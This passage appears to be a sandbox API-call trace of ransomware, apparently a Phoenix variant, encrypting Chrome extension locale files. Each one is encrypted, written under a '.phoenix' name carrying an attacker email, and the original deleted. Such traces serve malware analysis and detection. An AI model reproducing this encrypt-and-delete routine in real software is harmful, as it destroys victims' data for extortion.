	[0260.084] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.084] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.084] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.084] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.085] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0260.085] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.085] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.086] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.086] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.086] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1515c0) returned 1
	[0260.086] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.086] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.087] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0260.087] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.087] CryptDestroyKey (hKey=0x151380) returned 1
	[0260.087] CloseHandle (hObject=0x2c0) returned 1
	[0260.087] CloseHandle (hObject=0x254) returned 1
	[0260.087] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json")) returned 1
	[0260.088] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.088] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.088] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.088] CloseHandle (hObject=0x254) returned 1
	[0260.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json")) returned 0x20
	[0260.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.089] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.089] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.089] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.089] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.089] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0260.089] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.089] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.090] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.090] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.091] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151080) returned 1
	[0260.091] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.091] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.091] CryptDestroyKey (hKey=0x151080) returned 1
	[0260.091] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.091] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0260.091] CloseHandle (hObject=0x254) returned 1
	[0260.091] CloseHandle (hObject=0x2c0) returned 1
	[0260.091] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json")) returned 1
	[0260.092] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.092] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.093] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.093] CloseHandle (hObject=0x2c0) returned 1
	[0260.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json")) returned 0x20
	[0260.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.093] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.093] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.093] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.093] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.094] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151300) returned 1
	[0260.094] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.094] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.180] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.180] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.182] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151100) returned 1
	[0260.182] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.182] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.182] CryptDestroyKey (hKey=0x151100) returned 1
	[0260.182] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.182] CryptDestroyKey (hKey=0x151300) returned 1
	[0260.182] CloseHandle (hObject=0x2c0) returned 1
	[0260.182] CloseHandle (hObject=0x254) returned 1
	[0260.182] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json")) returned 1
	[0260.184] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.184] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.184] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.184] CloseHandle (hObject=0x254) returned 1
	[0260.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json")) returned 0x20
	[0260.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.185] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.185] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.185] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.185] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.186] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151180) returned 1
	[0260.186] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.186] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.187] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.187] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.188] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151740) returned 1
	[0260.188] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.188] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0260.188] CryptDestroyKey (hKey=0x151740) returned 1
	[0260.188] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0260.188] CryptDestroyKey (hKey=0x151180) returned 1
	[0260.188] CloseHandle (hObject=0x254) returned 1
	[0260.189] CloseHandle (hObject=0x2c0) returned 1
	[0260.189] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json")) returned 1
	[0260.190] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0260.190] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.191] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=179) returned 1
	[0260.191] CloseHandle (hObject=0x2c0) returned 1
	[0260.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json")) returned 0x20
	[0260.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.191] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0260.191] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.191] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0260.191] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0260.192] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151040) returned 1
	[0260.192] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0260.192] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xb3, lpOverlapped=0x0) returned 1
	[0260.193] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0, dwBufLen=0xc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc0) returned 1
	[0260.193] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc0, lpOverlapped=0x0) returned 1
	[0260.194] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151740) returned 1
	[0260.195] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
